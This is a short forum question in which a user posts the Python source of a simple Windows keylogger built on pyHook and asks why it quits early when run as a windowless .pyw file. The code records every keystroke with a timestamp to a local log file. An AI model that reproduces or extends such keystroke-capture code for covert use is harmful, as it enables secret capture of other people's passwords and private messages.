Help with my keylogger

Question

I'm working on a simple key logger. I'm having a problem though, when I try to run it as a .pyw the program shuts down before it can record anything. I believe it needs to loop, how would I go about this?

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p            %A %B %d, %Y            |           ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key:    '" + chr(event.Ascii) + "'")


    if chr(event.Ascii) == "q":
        sys.exit(0)
    return True


hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

I'm using Windows 7 ,BTW.